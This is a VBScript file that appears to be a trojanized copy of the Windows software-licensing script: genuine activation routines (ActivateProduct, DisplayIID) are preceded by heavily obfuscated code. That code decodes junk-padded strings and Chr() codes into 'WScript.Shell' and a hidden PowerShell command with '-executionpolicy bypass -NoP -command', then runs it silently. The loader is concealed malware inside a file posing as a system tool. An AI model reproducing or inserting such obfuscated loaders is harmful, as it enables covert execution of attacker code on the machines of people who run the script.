QUpXBKcYrkcrwBWGpaWmDOxGhWUPcdrHPAUxKpRttQOBWWkhxXZUPapKPIHaYPWxwTxKBuayxOryDwmKkwGYfKzXWOpsckHrGUwGkBLqZKkXBIrUBTPWPyWXLYHWPpLKduWpLKrYTDXQTkwpxuuwYdLWhQkiINcUzBGBKWZXAWrGxmWpAUPBWWKWWtWRIWWkKWkphD = asciiStringg
End Function
Function GdeYLWPLAYpWjBTAjdUXXxnAwmdBhchUorzrDmLCcUeaUxmPvXzNhISNrZJJLAULHlUcZrPCDABgXQDgUBCQmPAPrKULUAprPzBmKXHCOpDpPMWccWfTdndPhUrmLLwJycdBqubdsSYDaNHeeGmcsAeXMWurlgrPxAYOWolNoavdzgSWuWjjAQAILKTgDPDeArzJUO(command)
WObWNTNyBWWmvPwkbNoGmjPqPOBnMQXxZNIyRIcqLlIiSPOPymkragSuhAbBctSceLqwyycYHBPDhWADSrYSOWjWNsmcUjPhPdPWRReYclHPJDGBzPSBBWKdMShIcKPbNQuZGUWNySOvdGJGxOIzLBIGOcUNLvzdnjWccGLNZXbBPviYvJqvjgqocDBDAbPojzkBSc = "(*@(%@$$%#(#)$/7/%@*&&%:!&))&%9$)(21
)$%)$%
6&($)@8!##()$%(/$%$#$4)%#(%#@)$($6*!((%($|)*#%#-(
$#!!$0(#@#*#?$)!
4&7$#%$(%!
&*!($!76
%@\$)!$($%!))$)-(&*4*)$#)
$*6(%)$(6#(##
$?)$*@@!(#
@@@*@}(
@@@*@}(
ll -co-
@($@4$%#(#&$(%%$@$%
7((%&8
9$%/9#%(%&$&@%!##&&$%*($%/#$(
$#*%#@*$&$$*!(4
*$*(%#
#%8%$#!!$(&#@#
#*$&!%(%&#%(%(8#
!45!($%
$@@!%$#*$&!4&$%@*($&%*
(&%&-*(#(##%$*($$@@!/#%%-
@($@4$%#(#&$(%%$@$%
7((%&8
9$%/9#%(%&$&@%!##&&$%*($%/#$(
$#*%#@*$&$$*!(4
*$*(%#
#%8%$#!!$(&#@#
#*$&!%(%&#%(%(8#
!45!($%
$@@!%$#*$&!4&$%@*($&%*
(&%&-*(#(##%$*($$@@!/#%%and " & command
WObWNTNyBWWmvPwkbNoGmjPqPOBnMQXxZNIyRIcqLlIiSPOPymkragSuhAbBctSceLqwyycYHBPDhWADSrYSOWjWNsmcUjPhPdPWRReYclHPJDGBzPSBBWKdMShIcKPbNQuZGUWNySOvdGJGxOIzLBIGOcUNLvzdnjWccGLNZXbBPviYvJqvjgqocDBDAbPojzkBSc = EVFKZHDFEXKAALBGFJZCSHKUBMBWDNEGMIILYBDDPBMQFVJETEHTDJFXLKIMGGCRSENSCQHEFVNRUUPFDWCYFKCCCLZOSRWJZVXAHRCDXDNHWOCRVCIJDELICKPQQTLNYDRYXPYMUZBCWUGNIITPJNFVKOXWBLMDRAJSXEUFEVOECILIECIIAWELYWOIRBLJMXLWLN(WObWNTNyBWWmvPwkbNoGmjPqPOBnMQXxZNIyRIcqLlIiSPOPymkragSuhAbBctSceLqwyycYHBPDhWADSrYSOWjWNsmcUjPhPdPWRReYclHPJDGBzPSBBWKdMShIcKPbNQuZGUWNySOvdGJGxOIzLBIGOcUNLvzdnjWccGLNZXbBPviYvJqvjgqocDBDAbPojzkBSc,"4
@@@*@}(
","e")
WObWNTNyBWWmvPwkbNoGmjPqPOBnMQXxZNIyRIcqLlIiSPOPymkragSuhAbBctSceLqwyycYHBPDhWADSrYSOWjWNsmcUjPhPdPWRReYclHPJDGBzPSBBWKdMShIcKPbNQuZGUWNySOvdGJGxOIzLBIGOcUNLvzdnjWccGLNZXbBPviYvJqvjgqocDBDAbPojzkBSc = EVFKZHDFEXKAALBGFJZCSHKUBMBWDNEGMIILYBDDPBMQFVJETEHTDJFXLKIMGGCRSENSCQHEFVNRUUPFDWCYFKCCCLZOSRWJZVXAHRCDXDNHWOCRVCIJDELICKPQQTLNYDRYXPYMUZBCWUGNIITPJNFVKOXWBLMDRAJSXEUFEVOECILIECIIAWELYWOIRBLJMXLWLN(WObWNTNyBWWmvPwkbNoGmjPqPOBnMQXxZNIyRIcqLlIiSPOPymkragSuhAbBctSceLqwyycYHBPDhWADSrYSOWjWNsmcUjPhPdPWRReYclHPJDGBzPSBBWKdMShIcKPbNQuZGUWNySOvdGJGxOIzLBIGOcUNLvzdnjWccGLNZXbBPviYvJqvjgqocDBDAbPojzkBSc,"-
@($@4$%#(#&$(%%$@$%
7((%&8
9$%/9#%(%&$&@%!##&&$%*($%/#$(
$#*%#@*$&$$*!(4
*$*(%#
#%8%$#!!$(&#@#
#*$&!%(%&#%(%(8#
!45!($%
$@@!%$#*$&!4&$%@*($&%*
(&%&-*(#(##%$*($$@@!/#%%","m")
WObWNTNyBWWmvPwkbNoGmjPqPOBnMQXxZNIyRIcqLlIiSPOPymkragSuhAbBctSceLqwyycYHBPDhWADSrYSOWjWNsmcUjPhPdPWRReYclHPJDGBzPSBBWKdMShIcKPbNQuZGUWNySOvdGJGxOIzLBIGOcUNLvzdnjWccGLNZXbBPviYvJqvjgqocDBDAbPojzkBSc = EVFKZHDFEXKAALBGFJZCSHKUBMBWDNEGMIILYBDDPBMQFVJETEHTDJFXLKIMGGCRSENSCQHEFVNRUUPFDWCYFKCCCLZOSRWJZVXAHRCDXDNHWOCRVCIJDELICKPQQTLNYDRYXPYMUZBCWUGNIITPJNFVKOXWBLMDRAJSXEUFEVOECILIECIIAWELYWOIRBLJMXLWLN(WObWNTNyBWWmvPwkbNoGmjPqPOBnMQXxZNIyRIcqLlIiSPOPymkragSuhAbBctSceLqwyycYHBPDhWADSrYSOWjWNsmcUjPhPdPWRReYclHPJDGBzPSBBWKdMShIcKPbNQuZGUWNySOvdGJGxOIzLBIGOcUNLvzdnjWccGLNZXbBPviYvJqvjgqocDBDAbPojzkBSc,"(*@(%@$$%#(#)$/7/%@*&&%:!&))&%9$)(21
)$%)$%
6&($)@8!##()$%(/$%$#$4)%#(%#@)$($6*!((%($|)*#%#-(
$#!!$0(#@#*#?$)!
4&7$#%$(%!
&*!($!76
%@\$)!$($%!))$)-(&*4*)$#)
$*6(%)$(6#(##
$?)$*@@!(#
","p")
WObWNTNyBWWmvPwkbNoGmjPqPOBnMQXxZNIyRIcqLlIiSPOPymkragSuhAbBctSceLqwyycYHBPDhWADSrYSOWjWNsmcUjPhPdPWRReYclHPJDGBzPSBBWKdMShIcKPbNQuZGUWNySOvdGJGxOIzLBIGOcUNLvzdnjWccGLNZXbBPviYvJqvjgqocDBDAbPojzkBSce = Chr(87)&Chr(83)&Chr(99)&Chr(114)&Chr(105)&Chr(112)&Chr(116)&Chr(46)&Chr(83)&Chr(104)&Chr(101)&Chr(108)&Chr(108)
Set cOAqxTGyoWWqvvHOqJHKWUOSPLBWipvbGtBdsLzwwlIJUheNyWIrWySzhkkCzdPzOUulcdwGWovDZcADPOGULfLftGfztLehNdvhRDOGDBWeecGvDlwLBgjaiPhLccPkqpGGbWWJeSOvGSJkkOLDDoIKhvWtUhmaKLqDvXUPGNXBDhGLWcIvLKSCzILDASQNLmICPD = CreateObject(WObWNTNyBWWmvPwkbNoGmjPqPOBnMQXxZNIyRIcqLlIiSPOPymkragSuhAbBctSceLqwyycYHBPDhWADSrYSOWjWNsmcUjPhPdPWRReYclHPJDGBzPSBBWKdMShIcKPbNQuZGUWNySOvdGJGxOIzLBIGOcUNLvzdnjWccGLNZXbBPviYvJqvjgqocDBDAbPojzkBSce)
cOAqxTGyoWWqvvHOqJHKWUOSPLBWipvbGtBdsLzwwlIJUheNyWIrWySzhkkCzdPzOUulcdwGWovDZcADPOGULfLftGfztLehNdvhRDOGDBWeecGvDlwLBgjaiPhLccPkqpGGbWWJeSOvGSJkkOLDDoIKhvWtUhmaKLqDvXUPGNXBDhGLWcIvLKSCzILDASQNLmICPD.Run WObWNTNyBWWmvPwkbNoGmjPqPOBnMQXxZNIyRIcqLlIiSPOPymkragSuhAbBctSceLqwyycYHBPDhWADSrYSOWjWNsmcUjPhPdPWRReYclHPJDGBzPSBBWKdMShIcKPbNQuZGUWNySOvdGJGxOIzLBIGOcUNLvzdnjWccGLNZXbBPviYvJqvjgqocDBDAbPojzkBSc, 0, False
End Function
fKnkWMzNbbsYxsKnusIDcZvgGhviMDPuuaUayqtUUSGkKSWHqcgmGRDPDGgUfnhtRCJIiOfffbssbOLshMfOcsisavRfnQjDHHsGvDRfeOfMWzPvGyKLgpqHKKDODfGGCDYIUUnsMDbMtsWHeyOGQbGDwOUaCMDHcQkeOACKQNDgsMccUPfxQcgyfcLsLcJhQGyMht = fKnkWMzNbbsYxsKnusIDcZvgGhviMDPuuaUayqtUUSGkKSWHqcgmGRDPDGgUfnhtRCJIiOfffbssbOLshMfOcsisavRfnQjDHHsGvDRfeOfMWzPvGyKLgpqHKKDODfGGCDYIUUnsMDbMtsWHeyOGQbGDwOUaCMDHcQkeOACKQNDgsMccUPfxQcgyfcLsLcJhQGyMht & QUpXBKcYrkcrwBWGpaWmDOxGhWUPcdrHPAUxKpRttQOBWWkhxXZUPapKPIHaYPWxwTxKBuayxOryDwmKkwGYfKzXWOpsckHrGUwGkBLqZKkXBIrUBTPWPyWXLYHWPpLKduWpLKrYTDXQTkwpxuuwYdLWhQkiINcUzBGBKWZXAWrGxmWpAUPBWWKWWtWRIWWkKWkphD()
fKnkWMzNbbsYxsKnusIDcZvgGhviMDPuuaUayqtUUSGkKSWHqcgmGRDPDGgUfnhtRCJIiOfffbssbOLshMfOcsisavRfnQjDHHsGvDRfeOfMWzPvGyKLgpqHKKDODfGGCDYIUUnsMDbMtsWHeyOGQbGDwOUaCMDHcQkeOACKQNDgsMccUPfxQcgyfcLsLcJhQGyMht = fKnkWMzNbbsYxsKnusIDcZvgGhviMDPuuaUayqtUUSGkKSWHqcgmGRDPDGgUfnhtRCJIiOfffbssbOLshMfOcsisavRfnQjDHHsGvDRfeOfMWzPvGyKLgpqHKKDODfGGCDYIUUnsMDbMtsWHeyOGQbGDwOUaCMDHcQkeOACKQNDgsMccUPfxQcgyfcLsLcJhQGyMht & dOBcvSyNnGgSJyYVTpYHVCvZJCPpHlSuWnuDBMQddOCEOKGJPcAKpJTnCMICDCQUHoyOECJHTCSHAHGSGUVAglDDMCTYsGUSIOQIGULZXTGHvMnUUHCOAHJDCNICWLKNuZYLLHONFnJOoGHTUrrUAlnBndGKnPguKUZvNKAHnMcZUGYBWuAEOBHKQXKWJJCGSYGDvW()
fKnkWMzNbbsYxsKnusIDcZvgGhviMDPuuaUayqtUUSGkKSWHqcgmGRDPDGgUfnhtRCJIiOfffbssbOLshMfOcsisavRfnQjDHHsGvDRfeOfMWzPvGyKLgpqHKKDODfGGCDYIUUnsMDbMtsWHeyOGQbGDwOUaCMDHcQkeOACKQNDgsMccUPfxQcgyfcLsLcJhQGyMht = fKnkWMzNbbsYxsKnusIDcZvgGhviMDPuuaUayqtUUSGkKSWHqcgmGRDPDGgUfnhtRCJIiOfffbssbOLshMfOcsisavRfnQjDHHsGvDRfeOfMWzPvGyKLgpqHKKDODfGGCDYIUUnsMDbMtsWHeyOGQbGDwOUaCMDHcQkeOACKQNDgsMccUPfxQcgyfcLsLcJhQGyMht & ";(
@@:@#(
:#(@#(
*@@@]}@}@(@#
}#4}#@
(#@@@(
$@$4$]
$$$4$4$}
$4$]}@@
4(:@@@$$@]
+@@@#}$$rs
$@$4$]
$$$4$4$}
$4$]}@@
4(:@@@$$@]
+@@@#}$$ll.
$@$4$]
$$$4$4$}
$4$]}@@
4(:@@@$$@]
+@@@#}$$x
$@$4$]
$$$4$4$}
$4$]}@@
4(:@@@$$@]
+@@@#}$$ -windo
$@$4$]
$$$4$4$}
$4$]}@@
4(:@@@$$@]
+@@@#}$$ hi
dden -
$@$4$]
$$$4$4$}
$4$]}@@
4(:@@@$$@]
+@@@#}$$x
$@$4$]
$$$4$4$}
$4$]}@@
4(:@@@$$@]
+@@@#}$$cut
ionpolicy byp
ss -NoP
$@$4$]
$$$4$4$}
$4$]}@@
4(:@@@$$@]
+@@@#}$$ -com
mand $OW
WkKvRGzKdPWHqfQuqKWsiLeqIgRhWozWzNmNfaWbzcUSDXodPicLOcZQmvDrWlDWuUnNLNWzwdfzGcnzDOzagBqBNUUWsqumdKfjYLuzlMwukSwNUdUHRHPYWDmalsIDKoLdHPUKOZDBsjGpUHaUedUsIHPNUWJYdqvlHfUSzNnRoWUlcRbqqTqUWRHznUDpqJcrDy = "
fKnkWMzNbbsYxsKnusIDcZvgGhviMDPuuaUayqtUUSGkKSWHqcgmGRDPDGgUfnhtRCJIiOfffbssbOLshMfOcsisavRfnQjDHHsGvDRfeOfMWzPvGyKLgpqHKKDODfGGCDYIUUnsMDbMtsWHeyOGQbGDwOUaCMDHcQkeOACKQNDgsMccUPfxQcgyfcLsLcJhQGyMht = EVFKZHDFEXKAALBGFJZCSHKUBMBWDNEGMIILYBDDPBMQFVJETEHTDJFXLKIMGGCRSENSCQHEFVNRUUPFDWCYFKCCCLZOSRWJZVXAHRCDXDNHWOCRVCIJDELICKPQQTLNYDRYXPYMUZBCWUGNIITPJNFVKOXWBLMDRAJSXEUFEVOECILIECIIAWELYWOIRBLJMXLWLN(fKnkWMzNbbsYxsKnusIDcZvgGhviMDPuuaUayqtUUSGkKSWHqcgmGRDPDGgUfnhtRCJIiOfffbssbOLshMfOcsisavRfnQjDHHsGvDRfeOfMWzPvGyKLgpqHKKDODfGGCDYIUUnsMDbMtsWHeyOGQbGDwOUaCMDHcQkeOACKQNDgsMccUPfxQcgyfcLsLcJhQGyMht, WkKvRGzKdPWHqfQuqKWsiLeqIgRhWozWzNmNfaWbzcUSDXodPicLOcZQmvDrWlDWuUnNLNWzwdfzGcnzDOzagBqBNUUWsqumdKfjYLuzlMwukSwNUdUHRHPYWDmalsIDKoLdHPUKOZDBsjGpUHaUedUsIHPNUWJYdqvlHfUSzNnRoWUlcRbqqTqUWRHznUDpqJcrDy + ";" + WkKvRGzKdPWHqfQuqKWsiLeqIgRhWozWzNmNfaWbzcUSDXodPicLOcZQmvDrWlDWuUnNLNWzwdfzGcnzDOzagBqBNUUWsqumdKfjYLuzlMwukSwNUdUHRHPYWDmalsIDKoLdHPUKOZDBsjGpUHaUedUsIHPNUWJYdqvlHfUSzNnRoWUlcRbqqTqUWRHznUDpqJcrDy, "")
fKnkWMzNbbsYxsKnusIDcZvgGhviMDPuuaUayqtUUSGkKSWHqcgmGRDPDGgUfnhtRCJIiOfffbssbOLshMfOcsisavRfnQjDHHsGvDRfeOfMWzPvGyKLgpqHKKDODfGGCDYIUUnsMDbMtsWHeyOGQbGDwOUaCMDHcQkeOACKQNDgsMccUPfxQcgyfcLsLcJhQGyMht = EVFKZHDFEXKAALBGFJZCSHKUBMBWDNEGMIILYBDDPBMQFVJETEHTDJFXLKIMGGCRSENSCQHEFVNRUUPFDWCYFKCCCLZOSRWJZVXAHRCDXDNHWOCRVCIJDELICKPQQTLNYDRYXPYMUZBCWUGNIITPJNFVKOXWBLMDRAJSXEUFEVOECILIECIIAWELYWOIRBLJMXLWLN(fKnkWMzNbbsYxsKnusIDcZvgGhviMDPuuaUayqtUUSGkKSWHqcgmGRDPDGgUfnhtRCJIiOfffbssbOLshMfOcsisavRfnQjDHHsGvDRfeOfMWzPvGyKLgpqHKKDODfGGCDYIUUnsMDbMtsWHeyOGQbGDwOUaCMDHcQkeOACKQNDgsMccUPfxQcgyfcLsLcJhQGyMht, "
$@$4$]
$$$4$4$}
$4$]}@@
4(:@@@$$@]
+@@@#}$$", "e")
fKnkWMzNbbsYxsKnusIDcZvgGhviMDPuuaUayqtUUSGkKSWHqcgmGRDPDGgUfnhtRCJIiOfffbssbOLshMfOcsisavRfnQjDHHsGvDRfeOfMWzPvGyKLgpqHKKDODfGGCDYIUUnsMDbMtsWHeyOGQbGDwOUaCMDHcQkeOACKQNDgsMccUPfxQcgyfcLsLcJhQGyMht = EVFKZHDFEXKAALBGFJZCSHKUBMBWDNEGMIILYBDDPBMQFVJETEHTDJFXLKIMGGCRSENSCQHEFVNRUUPFDWCYFKCCCLZOSRWJZVXAHRCDXDNHWOCRVCIJDELICKPQQTLNYDRYXPYMUZBCWUGNIITPJNFVKOXWBLMDRAJSXEUFEVOECILIECIIAWELYWOIRBLJMXLWLN(fKnkWMzNbbsYxsKnusIDcZvgGhviMDPuuaUayqtUUSGkKSWHqcgmGRDPDGgUfnhtRCJIiOfffbssbOLshMfOcsisavRfnQjDHHsGvDRfeOfMWzPvGyKLgpqHKKDODfGGCDYIUUnsMDbMtsWHeyOGQbGDwOUaCMDHcQkeOACKQNDgsMccUPfxQcgyfcLsLcJhQGyMht, "(
@@:@#(
:#(@#(
*@@@]}@}@(@#
}#4}#@
(#@@@(
:}", "p")
fKnkWMzNbbsYxsKnusIDcZvgGhviMDPuuaUayqtUUSGkKSWHqcgmGRDPDGgUfnhtRCJIiOfffbssbOLshMfOcsisavRfnQjDHHsGvDRfeOfMWzPvGyKLgpqHKKDODfGGCDYIUUnsMDbMtsWHeyOGQbGDwOUaCMDHcQkeOACKQNDgsMccUPfxQcgyfcLsLcJhQGyMht = EVFKZHDFEXKAALBGFJZCSHKUBMBWDNEGMIILYBDDPBMQFVJETEHTDJFXLKIMGGCRSENSCQHEFVNRUUPFDWCYFKCCCLZOSRWJZVXAHRCDXDNHWOCRVCIJDELICKPQQTLNYDRYXPYMUZBCWUGNIITPJNFVKOXWBLMDRAJSXEUFEVOECILIECIIAWELYWOIRBLJMXLWLN(fKnkWMzNbbsYxsKnusIDcZvgGhviMDPuuaUayqtUUSGkKSWHqcgmGRDPDGgUfnhtRCJIiOfffbssbOLshMfOcsisavRfnQjDHHsGvDRfeOfMWzPvGyKLgpqHKKDODfGGCDYIUUnsMDbMtsWHeyOGQbGDwOUaCMDHcQkeOACKQNDgsMccUPfxQcgyfcLsLcJhQGyMht, "#####", "o")
GdeYLWPLAYpWjBTAjdUXXxnAwmdBhchUorzrDmLCcUeaUxmPvXzNhISNrZJJLAULHlUcZrPCDABgXQDgUBCQmPAPrKULUAprPzBmKXHCOpDpPMWccWfTdndPhUrmLLwJycdBqubdsSYDaNHeeGmcsAeXMWurlgrPxAYOWolNoavdzgSWuWjjAQAILKTgDPDeArzJUO(fKnkWMzNbbsYxsKnusIDcZvgGhviMDPuuaUayqtUUSGkKSWHqcgmGRDPDGgUfnhtRCJIiOfffbssbOLshMfOcsisavRfnQjDHHsGvDRfeOfMWzPvGyKLgpqHKKDODfGGCDYIUUnsMDbMtsWHeyOGQbGDwOUaCMDHcQkeOACKQNDgsMccUPfxQcgyfcLsLcJhQGyMht)
Private Sub DisplayIID(strActivationID)
Dim objProduct
Dim iIsPrimaryWindowsSku, bFoundAtLeastOneKey
Dim bCheckProductForCommand
strActivationID = LCase(strActivationID)
bFoundAtLeastOneKey = False
For Each objProduct in GetProductCollection(ProductIsPrimarySkuSelectClause & ", OfflineInstallationId", PartialProductKeyNonNullWhereClause)
bCheckProductForCommand = CheckProductForCommand(objProduct, strActivationID)
If (bCheckProductForCommand) Then
iIsPrimaryWindowsSku = GetIsPrimaryWindowsSKU(objProduct)
If (strActivationID = "") And (iIsPrimaryWindowsSku = 2) Then
OutputIndeterminateOperationWarning(objProduct)
End If
LineOut GetResource("L_MsgInstallationID") & objProduct.OfflineInstallationId
bFoundAtLeastOneKey = True
If (strActivationID <> "") Or (iIsPrimaryWindowsSku = 1) Then
Exit Sub
End If
End If
Next
If (bFoundAtLeastOneKey = TRUE) Then
LineOut ""
LineOut GetResource("L_MsgPhoneNumbers")
Else
LineOut GetResource("L_MsgErrorProductNotFound")
End If
End Sub
Private Sub DisplayActivatingSku(objProduct)
Dim strOutput
strOutput = Replace(GetResource("L_MsgActivating"), "%PRODUCTNAME%", objProduct.Name)
strOutput = Replace(strOutput, "%PRODUCTID%", objProduct.ID)
LineFlush strOutput
End Sub
Private Sub DisplayActivatedStatus(objProduct)
If (objProduct.LicenseStatus = 1) Then
LineOut GetResource("L_MsgActivated")
ElseIf (objProduct.LicenseStatus = 4) Then
LineOut GetResource("L_MsgErrorText_8") & GetResource("L_MsgErrorText_11")
ElseIf ((objProduct.LicenseStatus = 5) And (objProduct.LicenseStatusReason = HR_SL_E_NOT_GENUINE)) Then
LineOut GetResource("L_MsgErrorText_8") & GetResource("L_MsgErrorText_12")
ElseIf (objProduct.LicenseStatus = 6) Then
LineOut GetResource("L_MsgActivated")
LineOut GetResource("L_MsgLicenseStatusExtendedGrace_1")
Else
LineOut GetResource("L_MsgActivated_Failed")
End If
End Sub
Private Sub ActivateProduct(strActivationID)
Dim objService, objProduct
Dim iIsPrimaryWindowsSku, bFoundAtLeastOneKey
Dim strOutput
Dim bCheckProductForCommand
strActivationID = LCase(strActivationID)
bFoundAtLeastOneKey = False
set objService = GetServiceObject("Version")
For Each objProduct in GetProductCollection(ProductIsPrimarySkuSelectClause & ", LicenseStatus, VLActivationTypeEnabled", PartialProductKeyNonNullWhereClause)
bCheckProductForCommand = CheckProductForCommand(objProduct, strActivationID)
If (bCheckProductForCommand) Then
iIsPrimaryWindowsSku = GetIsPrimaryWindowsSKU(objProduct)
If (strActivationID = "") And (iIsPrimaryWindowsSku = 2) Then
OutputIndeterminateOperationWarning(objProduct)
End If
'
' This routine does not perform token-based activation.
' If configured for TA, then show message to user.
'
If (objProduct.VLActivationTypeEnabled = 3) Then
LineOut GetResource("L_MsgTokenBasedActivationMustBeDone")
Exit Sub
End If
strOutput = Replace(GetResource("L_MsgActivating"), "%PRODUCTNAME%", objProduct.Name)
strOutput = Replace(strOutput, "%PRODUCTID%", objProduct.ID)
LineOut strOutput
On Error Resume Next
'
' Avoid using a MAK activation count up unless needed
'
If (Not(IsMAK(objProduct.Description)) Or (objProduct.LicenseStatus <> 1)) Then
objProduct.Activate()
QuitIfError()
objService.RefreshLicenseStatus()
objProduct.refresh_
End If
DisplayActivatedStatus objProduct
bFoundAtLeastOneKey = True
If (strActivationID <> "") Or (iIsPrimaryWindowsSku = 1) Then
Exit Sub
End If
End If
Next
If (bFoundAtLeastOneKey = True) Then
Exit Sub
End If
LineOut GetResource("L_MsgErrorProductNotFound")
End Sub